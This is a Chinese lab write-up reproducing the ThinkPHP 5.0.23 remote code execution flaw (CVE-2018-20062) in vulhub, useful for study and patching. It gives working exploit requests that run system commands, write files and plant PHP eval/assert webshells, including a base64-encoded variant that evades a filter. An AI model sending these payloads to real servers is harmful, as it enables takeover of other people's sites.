ThinkPHP5.0.23远程代码执⾏漏洞(CVE-2018-20062)漏洞复现⽂章⽬录
漏洞名称
ThinkPHP 5.0.23 远程代码执⾏漏洞
漏洞编号
CVE-2018-20062
漏洞描述
ThinkPHP是⼀款运⽤极⼴的PHP开发框架。
cve漏洞库其5.0.23以前的版本中,获取method的⽅法中没有正确处理⽅法名,
导致攻击者可以调⽤Request类任意⽅法并构造利⽤链,从⽽导致远程代码执⾏漏洞。
由于ThinkPHP5框架对控制器名没有进⾏⾜够的安全检测,导致在没有开启强制路由的情况下,构造特定的请求。
影响版本
ThinkPHP 5.0系列 <= 5.0.23
实验环境及准备
第⼀步 vulhub搭建
cd  Desktop/vulhub-master/thinkphp/5.0.23-rce
docker-compose up -d
第⼆步 访问⽹站,即可看到默认的ThinkPHP启动页⾯
your-ip:8080
漏洞发现
通过vulmap探测
漏洞复现(数据包)
第⼀步 执⾏命令
POST /index.php?s=captcha HTTP/1.1 Host: localhost Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible ; MSIE 9.0; Windows NT 6.1; Win64; x64; Tr
ident/5.0) Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 72 _method= __construct&filter[]=system&method=get&server[REQUEST_METHOD]=id
第⼆步 写⼊phpinfo
1|根据pwd获取绝对路径:/var/www/public
2、写⼊`echo "<?php phpinfo(); ?>" > /var/www/public/test.php` echo%20"<?php%20phpinfo();%20?>"%20>%20/var/www/public/test.php
第三步 查看是否写⼊
1、ls%20-al
2、cat%20/var/www/public/test.php
3、192.168.253.147:8080/test.php
第四步 上传shell
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo%20"<?php%20@eval($_REQUEST['pass']);%20?>"%20>%20/var/www/public/pass.php
发现被过滤了
内容base64编码:
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo%20-n%20YWFhPD9waHAgQGFzc2VydCgkX1JFUVVFU1RbJzEy MyddKTsgPz5iYmI=%20|%20base64%20-d>%20/var/www/public/pass.php

版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。